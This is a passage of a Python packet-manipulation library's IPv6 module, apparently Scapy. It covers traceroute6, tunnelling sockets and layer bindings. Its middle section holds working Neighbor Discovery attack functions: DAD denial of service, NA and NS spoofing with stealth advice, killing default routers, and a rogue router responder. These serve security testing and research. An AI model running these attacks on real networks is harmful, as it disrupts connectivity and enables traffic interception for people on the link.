
3406 XShortField("cksum", None), 

3407 ByteEnumField("status", 0, _bestatus), 

3408 ByteField("reserved", 0), 

3409 IP6Field("ha", "::"), 

3410 _OptionsField("options", [], MIP6OptUnknown, 24, 

3411 length_from=lambda pkt: 8 * (pkt.len - 2))] 

3412 overload_fields = {IPv6: {"nh": 135}} 

3413 

3414 

3415_mip6_mhtype2cls = {0: MIP6MH_BRR, 

3416 1: MIP6MH_HoTI, 

3417 2: MIP6MH_CoTI, 

3418 3: MIP6MH_HoT, 

3419 4: MIP6MH_CoT, 

3420 5: MIP6MH_BU, 

3421 6: MIP6MH_BA, 

3422 7: MIP6MH_BE} 

3423 

3424 

3425############################################################################# 

3426############################################################################# 

3427# Traceroute6 # 

3428############################################################################# 

3429############################################################################# 

3430 

3431class AS_resolver6(AS_resolver_riswhois): 

3432 def _resolve_one(self, ip): 

3433 """ 

3434 overloaded version to provide a Whois resolution on the 

3435 embedded IPv4 address if the address is 6to4 or Teredo. 

3436 Otherwise, the native IPv6 address is passed. 

3437 """ 

3438 

3439 if in6_isaddr6to4(ip): # for 6to4, use embedded @ 

3440 tmp = inet_pton(socket.AF_INET6, ip) 

3441 addr = inet_ntop(socket.AF_INET, tmp[2:6]) 

3442 elif in6_isaddrTeredo(ip): # for Teredo, use mapped address 

3443 addr = teredoAddrExtractInfo(ip)[2] 

3444 else: 

3445 addr = ip 

3446 

3447 _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) 

3448 

3449 if asn.startswith("AS"): 

3450 try: 

3451 asn = int(asn[2:]) 

3452 except ValueError: 

3453 pass 

3454 

3455 return ip, asn, desc 

3456 

3457 

3458class TracerouteResult6(TracerouteResult): 

3459 __slots__ = [] 

3460 

3461 def show(self): 

3462 return self.make_table(lambda s, r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! # noqa: E501 

3463 s.hlim, 

3464 r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}" + # noqa: E501 

3465 "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}" + # noqa: E501 

3466 "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}" + # noqa: E501 

3467 "{ICMPv6EchoReply:%ir,type%}"))) # noqa: E501 

3468 

3469 def get_trace(self): 

3470 trace = {} 

3471 

3472 for s, r in self.res: 

3473 if IPv6 not in s: 

3474 continue 

3475 d = s[IPv6].dst 

3476 if d not in trace: 

3477 trace[d] = {} 

3478 

3479 t = not (ICMPv6TimeExceeded in r or 

3480 ICMPv6DestUnreach in r or 

3481 ICMPv6PacketTooBig in r or 

3482 ICMPv6ParamProblem in r) 

3483 

3484 trace[d][s[IPv6].hlim] = r[IPv6].src, t 

3485 

3486 for k in trace.values(): 

3487 try: 

3488 m = min(x for x, y in k.items() if y[1]) 

3489 except ValueError: 

3490 continue 

3491 for li in list(k): # use list(): k is modified in the loop 

3492 if li > m: 

3493 del k[li] 

3494 

3495 return trace 

3496 

3497 def graph(self, ASres=AS_resolver6(), **kargs): 

3498 TracerouteResult.graph(self, ASres=ASres, **kargs) 

3499 

3500 

3501@conf.commands.register 

3502def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), 

3503 l4=None, timeout=2, verbose=None, **kargs): 

3504 """Instant TCP traceroute using IPv6 

3505 traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None 

3506 """ 

3507 if verbose is None: 

3508 verbose = conf.verb 

3509 

3510 if l4 is None: 

3511 a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 

3512 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) # noqa: E501 

3513 else: 

3514 a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4, 

3515 timeout=timeout, verbose=verbose, **kargs) 

3516 

3517 a = TracerouteResult6(a.res) 

3518 

3519 if verbose: 

3520 a.show() 

3521 

3522 return a, b 

3523 

3524############################################################################# 

3525############################################################################# 

3526# Sockets # 

3527############################################################################# 

3528############################################################################# 

3529 

3530 

3531if not WINDOWS: 

3532 from scapy.supersocket import L3RawSocket 

3533 

3534 class L3RawSocket6(L3RawSocket): 

3535 def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501 

3536 # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501 

3537 self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 

3538 self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 

3539 self.iface = iface 

3540 

3541 

3542def IPv6inIP(dst='203.178.135.36', src=None): 

3543 _IPv6inIP.dst = dst 

3544 _IPv6inIP.src = src 

3545 if not conf.L3socket == _IPv6inIP: 

3546 _IPv6inIP.cls = conf.L3socket 

3547 else: 

3548 del conf.L3socket 

3549 return _IPv6inIP 

3550 

3551 

3552class _IPv6inIP(SuperSocket): 

3553 dst = '127.0.0.1' 

3554 src = None 

3555 cls = None 

3556 

3557 def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): # noqa: E501 

3558 SuperSocket.__init__(self, family, type, proto) 

3559 self.worker = self.cls(**args) 

3560 

3561 def set(self, dst, src=None): 

3562 _IPv6inIP.src = src 

3563 _IPv6inIP.dst = dst 

3564 

3565 def nonblock_recv(self): 

3566 p = self.worker.nonblock_recv() 

3567 return self._recv(p) 

3568 

3569 def recv(self, x): 

3570 p = self.worker.recv(x) 

3571 return self._recv(p, x) 

3572 

3573 def _recv(self, p, x=MTU): 

3574 if p is None: 

3575 return p 

3576 elif isinstance(p, IP): 

3577 # TODO: verify checksum 

3578 if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: 

3579 if isinstance(p.payload, IPv6): 

3580 return p.payload 

3581 return p 

3582 

3583 def send(self, x): 

3584 return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x) # noqa: E501 

3585 

3586 

3587############################################################################# 

3588############################################################################# 

3589# Neighbor Discovery Protocol Attacks # 

3590############################################################################# 

3591############################################################################# 

3592 

3593def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, 

3594 tgt_filter=None, reply_mac=None): 

3595 """ 

3596 Internal generic helper accepting a specific callback as first argument, 

3597 for NS or NA reply. See the two specific functions below. 

3598 """ 

3599 

3600 def is_request(req, mac_src_filter, tgt_filter): 

3601 """ 

3602 Check if packet req is a request 

3603 """ 

3604 

3605 # Those simple checks are based on Section 5.4.2 of RFC 4862 

3606 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): 

3607 return 0 

3608 

3609 # Get and compare the MAC address 

3610 mac_src = req[Ether].src 

3611 if mac_src_filter and mac_src != mac_src_filter: 

3612 return 0 

3613 

3614 # Source must be the unspecified address 

3615 if req[IPv6].src != "::": 

3616 return 0 

3617 

3618 # Check destination is the link-local solicited-node multicast 

3619 # address associated with target address in received NS 

3620 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) 

3621 if tgt_filter and tgt != tgt_filter: 

3622 return 0 

3623 received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst) 

3624 expected_snma = in6_getnsma(tgt) 

3625 if received_snma != expected_snma: 

3626 return 0 

3627 

3628 return 1 

3629 

3630 if not iface: 

3631 iface = conf.iface 

3632 

3633 # To prevent sniffing our own traffic 

3634 if not reply_mac: 

3635 reply_mac = get_if_hwaddr(iface) 

3636 sniff_filter = "icmp6 and not ether src %s" % reply_mac 

3637 

3638 sniff(store=0, 

3639 filter=sniff_filter, 

3640 lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), 

3641 prn=lambda x: reply_callback(x, reply_mac, iface), 

3642 iface=iface) 

3643 

3644 

3645def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, 

3646 reply_mac=None): 

3647 """ 

3648 Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 

3649 3756. This is done by listening incoming NS messages sent from the 

3650 unspecified address and sending a NS reply for the target address, 

3651 leading the peer to believe that another node is also performing DAD 

3652 for that address. 

3653 

3654 By default, the fake NS sent to create the DoS uses: 

3655 - as target address the target address found in received NS. 

3656 - as IPv6 source address: the unspecified address (::). 

3657 - as IPv6 destination address: the link-local solicited-node multicast 

3658 address derived from the target address in received NS. 

3659 - the mac address of the interface as source (or reply_mac, see below). 

3660 - the multicast mac address derived from the solicited node multicast 

3661 address used as IPv6 destination address. 

3662 

3663 Following arguments can be used to change the behavior: 

3664 

3665 iface: a specific interface (e.g. "eth0") of the system on which the 

3666 DoS should be launched. If None is provided conf.iface is used. 

3667 

3668 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 

3669 Only NS messages received from this source will trigger replies. 

3670 This allows limiting the effects of the DoS to a single target by 

3671 filtering on its mac address. The default value is None: the DoS 

3672 is not limited to a specific mac address. 

3673 

3674 tgt_filter: Same as previous but for a specific target IPv6 address for 

3675 received NS. If the target address in the NS message (not the IPv6 

3676 destination address) matches that address, then a fake reply will 

3677 be sent, i.e. the emitter will be a target of the DoS. 

3678 

3679 reply_mac: allow specifying a specific source mac address for the reply, 

3680 i.e. to prevent the use of the mac address of the interface. 

3681 """ 

3682 

3683 def ns_reply_callback(req, reply_mac, iface): 

3684 """ 

3685 Callback that reply to a NS by sending a similar NS 

3686 """ 

3687 

3688 # Let's build a reply and send it 

3689 mac = req[Ether].src 

3690 dst = req[IPv6].dst 

3691 tgt = req[ICMPv6ND_NS].tgt 

3692 rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt) # noqa: E501 

3693 sendp(rep, iface=iface, verbose=0) 

3694 

3695 print("Reply NS for target address %s (received from %s)" % (tgt, mac)) 

3696 

3697 _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, 

3698 tgt_filter, reply_mac) 

3699 

3700 

3701def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, 

3702 reply_mac=None): 

3703 """ 

3704 Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 

3705 3756. This is done by listening incoming NS messages *sent from the 

3706 unspecified address* and sending a NA reply for the target address, 

3707 leading the peer to believe that another node is also performing DAD 

3708 for that address. 

3709 

3710 By default, the fake NA sent to create the DoS uses: 

3711 - as target address the target address found in received NS. 

3712 - as IPv6 source address: the target address found in received NS. 

3713 - as IPv6 destination address: the link-local solicited-node multicast 

3714 address derived from the target address in received NS. 

3715 - the mac address of the interface as source (or reply_mac, see below). 

3716 - the multicast mac address derived from the solicited node multicast 

3717 address used as IPv6 destination address. 

3718 - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled 

3719 with the mac address used as source of the NA. 

3720 

3721 Following arguments can be used to change the behavior: 

3722 

3723 iface: a specific interface (e.g. "eth0") of the system on which the 

3724 DoS should be launched. If None is provided conf.iface is used. 

3725 

3726 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 

3727 Only NS messages received from this source will trigger replies. 

3728 This allows limiting the effects of the DoS to a single target by 

3729 filtering on its mac address. The default value is None: the DoS 

3730 is not limited to a specific mac address. 

3731 

3732 tgt_filter: Same as previous but for a specific target IPv6 address for 

3733 received NS. If the target address in the NS message (not the IPv6 

3734 destination address) matches that address, then a fake reply will 

3735 be sent, i.e. the emitter will be a target of the DoS. 

3736 

3737 reply_mac: allow specifying a specific source mac address for the reply, 

3738 i.e. to prevent the use of the mac address of the interface. This 

3739 address will also be used in the Target Link-Layer Address option. 

3740 """ 

3741 

3742 def na_reply_callback(req, reply_mac, iface): 

3743 """ 

3744 Callback that reply to a NS with a NA 

3745 """ 

3746 

3747 # Let's build a reply and send it 

3748 mac = req[Ether].src 

3749 dst = req[IPv6].dst 

3750 tgt = req[ICMPv6ND_NS].tgt 

3751 rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst) 

3752 rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741 

3753 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) 

3754 sendp(rep, iface=iface, verbose=0) 

3755 

3756 print("Reply NA for target address %s (received from %s)" % (tgt, mac)) 

3757 

3758 _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, 

3759 tgt_filter, reply_mac) 

3760 

3761 

3762def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, 

3763 reply_mac=None, router=False): 

3764 """ 

3765 The main purpose of this function is to send fake Neighbor Advertisement 

3766 messages to a victim. As the emission of unsolicited Neighbor Advertisement 

3767 is pretty pointless (from an attacker standpoint) because it will not 

3768 lead to a modification of a victim's neighbor cache, the function send 

3769 advertisements in response to received NS (NS sent as part of the DAD, 

3770 i.e. with an unspecified address as source, are not considered). 

3771 

3772 By default, the fake NA sent to create the DoS uses: 

3773 - as target address the target address found in received NS. 

3774 - as IPv6 source address: the target address 

3775 - as IPv6 destination address: the source IPv6 address of received NS 

3776 message. 

3777 - the mac address of the interface as source (or reply_mac, see below). 

3778 - the source mac address of the received NS as destination macs address 

3779 of the emitted NA. 

3780 - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) 

3781 filled with the mac address used as source of the NA. 

3782 

3783 Following arguments can be used to change the behavior: 

3784 

3785 iface: a specific interface (e.g. "eth0") of the system on which the 

3786 DoS should be launched. If None is provided conf.iface is used. 

3787 

3788 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 

3789 Only NS messages received from this source will trigger replies. 

3790 This allows limiting the effects of the DoS to a single target by 

3791 filtering on its mac address. The default value is None: the DoS 

3792 is not limited to a specific mac address. 

3793 

3794 tgt_filter: Same as previous but for a specific target IPv6 address for 

3795 received NS. If the target address in the NS message (not the IPv6 

3796 destination address) matches that address, then a fake reply will 

3797 be sent, i.e. the emitter will be a target of the DoS. 

3798 

3799 reply_mac: allow specifying a specific source mac address for the reply, 

3800 i.e. to prevent the use of the mac address of the interface. This 

3801 address will also be used in the Target Link-Layer Address option. 

3802 

3803 router: by the default (False) the 'R' flag in the NA used for the reply 

3804 is not set. If the parameter is set to True, the 'R' flag in the 

3805 NA is set, advertising us as a router. 

3806 

3807 Please, keep the following in mind when using the function: for obvious 

3808 reasons (kernel space vs. Python speed), when the target of the address 

3809 resolution is on the link, the sender of the NS receives 2 NA messages 

3810 in a row, the valid one and our fake one. The second one will overwrite 

3811 the information provided by the first one, i.e. the natural latency of 

3812 Scapy helps here. 

3813 

3814 In practice, on a common Ethernet link, the emission of the NA from the 

3815 genuine target (kernel stack) usually occurs in the same millisecond as 

3816 the receipt of the NS. The NA generated by Scapy6 will usually come after 

3817 something 20+ ms. On a usual testbed for instance, this difference is 

3818 sufficient to have the first data packet sent from the victim to the 

3819 destination before it even receives our fake NA. 

3820 """ 

3821 

3822 def is_request(req, mac_src_filter, tgt_filter): 

3823 """ 

3824 Check if packet req is a request 

3825 """ 

3826 

3827 # Those simple checks are based on Section 5.4.2 of RFC 4862 

3828 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): 

3829 return 0 

3830 

3831 mac_src = req[Ether].src 

3832 if mac_src_filter and mac_src != mac_src_filter: 

3833 return 0 

3834 

3835 # Source must NOT be the unspecified address 

3836 if req[IPv6].src == "::": 

3837 return 0 

3838 

3839 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) 

3840 if tgt_filter and tgt != tgt_filter: 

3841 return 0 

3842 

3843 dst = req[IPv6].dst 

3844 if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. 

3845 

3846 # If this is a real address resolution NS, then the destination 

3847 # address of the packet is the link-local solicited node multicast 

3848 # address associated with the target of the NS. 

3849 # Otherwise, the NS is a NUD related one, i.e. the peer is 

3850 # unicasting the NS to check the target is still alive (L2 

3851 # information is still in its cache and it is verified) 

3852 received_snma = inet_pton(socket.AF_INET6, dst) 

3853 expected_snma = in6_getnsma(tgt) 

3854 if received_snma != expected_snma: 

3855 print("solicited node multicast @ does not match target @!") 

3856 return 0 

3857 

3858 return 1 

3859 

3860 def reply_callback(req, reply_mac, router, iface): 

3861 """ 

3862 Callback that reply to a NS with a spoofed NA 

3863 """ 

3864 

3865 # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and 

3866 # send it back. 

3867 mac = req[Ether].src 

3868 pkt = req[IPv6] 

3869 src = pkt.src 

3870 tgt = req[ICMPv6ND_NS].tgt 

3871 rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src) 

3872 # Use the target field from the NS 

3873 rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741 

3874 

3875 # "If the solicitation IP Destination Address is not a multicast 

3876 # address, the Target Link-Layer Address option MAY be omitted" 

3877 # Given our purpose, we always include it. 

3878 rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) 

3879 

3880 sendp(rep, iface=iface, verbose=0) 

3881 

3882 print("Reply NA for target address %s (received from %s)" % (tgt, mac)) 

3883 

3884 if not iface: 

3885 iface = conf.iface 

3886 # To prevent sniffing our own traffic 

3887 if not reply_mac: 

3888 reply_mac = get_if_hwaddr(iface) 

3889 sniff_filter = "icmp6 and not ether src %s" % reply_mac 

3890 

3891 router = 1 if router else 0 # Value of the R flags in NA 

3892 

3893 sniff(store=0, 

3894 filter=sniff_filter, 

3895 lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), 

3896 prn=lambda x: reply_callback(x, reply_mac, router, iface), 

3897 iface=iface) 

3898 

3899 

3900def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", 

3901 dst=None, src_mac=None, dst_mac=None, loop=True, 

3902 inter=1, iface=None): 

3903 """ 

3904 The main purpose of this function is to send fake Neighbor Solicitations 

3905 messages to a victim, in order to either create a new entry in its neighbor 

3906 cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated 

3907 that a node SHOULD create the entry or update an existing one (if it is not 

3908 currently performing DAD for the target of the NS). The entry's reachability # noqa: E501 

3909 state is set to STALE. 

3910 

3911 The two main parameters of the function are the source link-layer address 

3912 (carried by the Source Link-Layer Address option in the NS) and the 

3913 source address of the packet. 

3914 

3915 Unlike some other NDP_Attack_* function, this one is not based on a 

3916 stimulus/response model. When called, it sends the same NS packet in loop 

3917 every second (the default) 

3918 

3919 Following arguments can be used to change the format of the packets: 

3920 

3921 src_lladdr: the MAC address used in the Source Link-Layer Address option 

3922 included in the NS packet. This is the address that the peer should 

3923 associate in its neighbor cache with the IPv6 source address of the 

3924 packet. If None is provided, the mac address of the interface is 

3925 used. 

3926 

3927 src: the IPv6 address used as source of the packet. If None is provided, 

3928 an address associated with the emitting interface will be used 

3929 (based on the destination address of the packet). 

3930 

3931 target: the target address of the NS packet. If no value is provided, 

3932 a dummy address (2001:db8::1) is used. The value of the target 

3933 has a direct impact on the destination address of the packet if it 

3934 is not overridden. By default, the solicited-node multicast address 

3935 associated with the target is used as destination address of the 

3936 packet. Consider specifying a specific destination address if you 

3937 intend to use a target address different than the one of the victim. 

3938 

3939 dst: The destination address of the NS. By default, the solicited node 

3940 multicast address associated with the target address (see previous 

3941 parameter) is used if no specific value is provided. The victim 

3942 is not expected to check the destination address of the packet, 

3943 so using a multicast address like ff02::1 should work if you want 

3944 the attack to target all hosts on the link. On the contrary, if 

3945 you want to be more stealth, you should provide the target address 

3946 for this parameter in order for the packet to be sent only to the 

3947 victim. 

3948 

3949 src_mac: the MAC address used as source of the packet. By default, this 

3950 is the address of the interface. If you want to be more stealth, 

3951 feel free to use something else. Note that this address is not the 

3952 that the victim will use to populate its neighbor cache. 

3953 

3954 dst_mac: The MAC address used as destination address of the packet. If 

3955 the IPv6 destination address is multicast (all-nodes, solicited 

3956 node, ...), it will be computed. If the destination address is 

3957 unicast, a neighbor solicitation will be performed to get the 

3958 associated address. If you want the attack to be stealth, you 

3959 can provide the MAC address using this parameter. 

3960 

3961 loop: By default, this parameter is True, indicating that NS packets 

3962 will be sent in loop, separated by 'inter' seconds (see below). 

3963 When set to False, a single packet is sent. 

3964 

3965 inter: When loop parameter is True (the default), this parameter provides 

3966 the interval in seconds used for sending NS packets. 

3967 

3968 iface: to force the sending interface. 

3969 """ 

3970 

3971 if not iface: 

3972 iface = conf.iface 

3973 

3974 # Use provided MAC address as source link-layer address option 

3975 # or the MAC address of the interface if none is provided. 

3976 if not src_lladdr: 

3977 src_lladdr = get_if_hwaddr(iface) 

3978 

3979 # Prepare packets parameters 

3980 ether_params = {} 

3981 if src_mac: 

3982 ether_params["src"] = src_mac 

3983 

3984 if dst_mac: 

3985 ether_params["dst"] = dst_mac 

3986 

3987 ipv6_params = {} 

3988 if src: 

3989 ipv6_params["src"] = src 

3990 if dst: 

3991 ipv6_params["dst"] = dst 

3992 else: 

3993 # Compute the solicited-node multicast address 

3994 # associated with the target address. 

3995 tmp = inet_ntop(socket.AF_INET6, 

3996 in6_getnsma(inet_pton(socket.AF_INET6, target))) 

3997 ipv6_params["dst"] = tmp 

3998 

3999 pkt = Ether(**ether_params) 

4000 pkt /= IPv6(**ipv6_params) 

4001 pkt /= ICMPv6ND_NS(tgt=target) 

4002 pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) 

4003 

4004 sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) 

4005 

4006 

4007def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, 

4008 ip_src_filter=None, reply_mac=None, 

4009 tgt_mac=None): 

4010 """ 

4011 The purpose of the function is to monitor incoming RA messages 

4012 sent by default routers (RA with a non-zero Router Lifetime values) 

4013 and invalidate them by immediately replying with fake RA messages 

4014 advertising a zero Router Lifetime value. 

4015 

4016 The result on receivers is that the router is immediately invalidated, 

4017 i.e. the associated entry is discarded from the default router list 

4018 and destination cache is updated to reflect the change. 

4019 

4020 By default, the function considers all RA messages with a non-zero 

4021 Router Lifetime value but provides configuration knobs to allow 

4022 filtering RA sent by specific routers (Ethernet source address). 

4023 With regard to emission, the multicast all-nodes address is used 

4024 by default but a specific target can be used, in order for the DoS to 

4025 apply only to a specific host. 

4026 

4027 More precisely, following arguments can be used to change the behavior: 

4028 

4029 iface: a specific interface (e.g. "eth0") of the system on which the 

4030 DoS should be launched. If None is provided conf.iface is used. 

4031 

4032 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 

4033 Only RA messages received from this source will trigger replies. 

4034 If other default routers advertised their presence on the link, 

4035 their clients will not be impacted by the attack. The default 

4036 value is None: the DoS is not limited to a specific mac address. 

4037 

4038 ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter 

4039 on. Only RA messages received from this source address will trigger 

4040 replies. If other default routers advertised their presence on the 

4041 link, their clients will not be impacted by the attack. The default 

4042 value is None: the DoS is not limited to a specific IPv6 source 

4043 address. 

4044 

4045 reply_mac: allow specifying a specific source mac address for the reply, 

4046 i.e. to prevent the use of the mac address of the interface. 

4047 

4048 tgt_mac: allow limiting the effect of the DoS to a specific host, 

4049 by sending the "invalidating RA" only to its mac address. 

4050 """ 

4051 

4052 def is_request(req, mac_src_filter, ip_src_filter): 

4053 """ 

4054 Check if packet req is a request 

4055 """ 

4056 

4057 if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): 

4058 return 0 

4059 

4060 mac_src = req[Ether].src 

4061 if mac_src_filter and mac_src != mac_src_filter: 

4062 return 0 

4063 

4064 ip_src = req[IPv6].src 

4065 if ip_src_filter and ip_src != ip_src_filter: 

4066 return 0 

4067 

4068 # Check if this is an advertisement for a Default Router 

4069 # by looking at Router Lifetime value 

4070 if req[ICMPv6ND_RA].routerlifetime == 0: 

4071 return 0 

4072 

4073 return 1 

4074 

4075 def ra_reply_callback(req, reply_mac, tgt_mac, iface): 

4076 """ 

4077 Callback that sends an RA with a 0 lifetime 

4078 """ 

4079 

4080 # Let's build a reply and send it 

4081 

4082 src = req[IPv6].src 

4083 

4084 # Prepare packets parameters 

4085 ether_params = {} 

4086 if reply_mac: 

4087 ether_params["src"] = reply_mac 

4088 

4089 if tgt_mac: 

4090 ether_params["dst"] = tgt_mac 

4091 

4092 # Basis of fake RA (high pref, zero lifetime) 

4093 rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1") 

4094 rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) 

4095 

4096 # Add it a PIO from the request ... 

4097 tmp = req 

4098 while ICMPv6NDOptPrefixInfo in tmp: 

4099 pio = tmp[ICMPv6NDOptPrefixInfo] 

4100 tmp = pio.payload 

4101 del pio.payload 

4102 rep /= pio 

4103 

4104 # ... and source link layer address option 

4105 if ICMPv6NDOptSrcLLAddr in req: 

4106 mac = req[ICMPv6NDOptSrcLLAddr].lladdr 

4107 else: 

4108 mac = req[Ether].src 

4109 rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) 

4110 

4111 sendp(rep, iface=iface, verbose=0) 

4112 

4113 print("Fake RA sent with source address %s" % src) 

4114 

4115 if not iface: 

4116 iface = conf.iface 

4117 # To prevent sniffing our own traffic 

4118 if not reply_mac: 

4119 reply_mac = get_if_hwaddr(iface) 

4120 sniff_filter = "icmp6 and not ether src %s" % reply_mac 

4121 

4122 sniff(store=0, 

4123 filter=sniff_filter, 

4124 lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), 

4125 prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), 

4126 iface=iface) 

4127 

4128 

4129def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, 

4130 ip_src_filter=None): 

4131 """ 

4132 The purpose of this function is to send provided RA message at layer 2 

4133 (i.e. providing a packet starting with IPv6 will not work) in response 

4134 to received RS messages. In the end, the function is a simple wrapper 

4135 around sendp() that monitor the link for RS messages. 

4136 

4137 It is probably better explained with an example: 

4138 

4139 >>> ra = Ether()/IPv6()/ICMPv6ND_RA() 

4140 >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) 

4141 >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) 

4142 >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") 

4143 >>> NDP_Attack_Fake_Router(ra, iface="eth0") 

4144 Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 

4145 Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae 

4146 ... 

4147 

4148 Following arguments can be used to change the behavior: 

4149 

4150 ra: the RA message to send in response to received RS message. 

4151 

4152 iface: a specific interface (e.g. "eth0") of the system on which the 

4153 DoS should be launched. If none is provided, conf.iface is 

4154 used. 

4155 

4156 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. 

4157 Only RS messages received from this source will trigger a reply. 

4158 Note that no changes to provided RA is done which imply that if 

4159 you intend to target only the source of the RS using this option, 

4160 you will have to set the Ethernet destination address to the same 

4161 value in your RA. 

4162 The default value for this parameter is None: no filtering on the 

4163 source of RS is done. 

4164 

4165 ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter 

4166 on. Only RS messages received from this source address will trigger 

4167 replies. Same comment as for previous argument apply: if you use 

4168 the option, you will probably want to set a specific Ethernet 

4169 destination address in the RA. 

4170 """ 

4171 

4172 def is_request(req, mac_src_filter, ip_src_filter): 

4173 """ 

4174 Check if packet req is a request 

4175 """ 

4176 

4177 if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): 

4178 return 0 

4179 

4180 mac_src = req[Ether].src 

4181 if mac_src_filter and mac_src != mac_src_filter: 

4182 return 0 

4183 

4184 ip_src = req[IPv6].src 

4185 if ip_src_filter and ip_src != ip_src_filter: 

4186 return 0 

4187 

4188 return 1 

4189 

4190 def ra_reply_callback(req, iface): 

4191 """ 

4192 Callback that sends an RA in reply to an RS 

4193 """ 

4194 

4195 src = req[IPv6].src 

4196 sendp(ra, iface=iface, verbose=0) 

4197 print("Fake RA sent in response to RS from %s" % src) 

4198 

4199 if not iface: 

4200 iface = conf.iface 

4201 sniff_filter = "icmp6" 

4202 

4203 sniff(store=0, 

4204 filter=sniff_filter, 

4205 lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), 

4206 prn=lambda x: ra_reply_callback(x, iface), 

4207 iface=iface) 

4208 

4209############################################################################# 

4210# Pre-load classes ## 

4211############################################################################# 

4212 

4213 

4214def _get_cls(name): 

4215 return globals().get(name, Raw) 

4216 

4217 

4218def _load_dict(d): 

4219 for k, v in d.items(): 

4220 d[k] = _get_cls(v) 

4221 

4222 

4223_load_dict(icmp6ndoptscls) 

4224_load_dict(icmp6typescls) 

4225_load_dict(ipv6nhcls) 

4226 

4227############################################################################# 

4228############################################################################# 

4229# Layers binding # 

4230############################################################################# 

4231############################################################################# 

4232 

4233conf.l3types.register(ETH_P_IPV6, IPv6) 

4234conf.l3types.register_num2layer(ETH_P_ALL, IPv46) 

4235conf.l2types.register(31, IPv6) 

4236conf.l2types.register(DLT_IPV6, IPv6) 

4237conf.l2types.register(DLT_RAW, IPv46) 

4238conf.l2types.register_num2layer(DLT_RAW_ALT, IPv46) 

4239if OPENBSD: 

4240 conf.l2types.register_num2layer(229, IPv6) 

4241 

4242bind_layers(Ether, IPv6, type=0x86dd) 

4243bind_layers(CookedLinux, IPv6, proto=0x86dd) 

4244bind_layers(GRE, IPv6, proto=0x86dd) 

4245bind_layers(SNAP, IPv6, code=0x86dd) 

